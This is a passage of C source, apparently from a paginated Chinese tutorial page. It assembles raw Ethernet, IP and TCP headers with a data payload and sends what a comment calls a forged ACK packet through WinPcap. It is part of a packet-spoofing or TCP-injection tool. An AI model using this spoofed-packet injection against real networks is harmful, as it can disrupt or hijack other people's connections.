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psd_header.m_daddr=ip_header.m_dIP;
psd_header.m_saddr=ip_header.m_sIP;
psd_header.m_mbz=0;
psd_header.m_ptcl=IPPROTO_TCP;
psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+strlen(data));
char tcpBuf[128]={0};
memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),data,strlen(data));
tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+strlen(data));
memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),data,strlen(data));
//发送伪造的ACK包:
LPPACKET lpSendPacket;
lpSendPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存
PacketInitPacket(lpSendPacket,sendSynBuf,128); //初始化PACKET结构指针
if(PacketSetNumWrites(lpAdapter,1)==FALSE) //设置发送次数
{
printf("Warning: Unable to send more than one packet in a single write!\n");
return;
}
if(PacketSendPacket(lpAdapter,lpSendPacket,TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return;
}
PacketFreePacket(lpSendPacket); //释放PACKET结构指针
}
}
}
return;
}
void Info()
{
printf("***************************** << 上一页 [11] [12] 下一页 |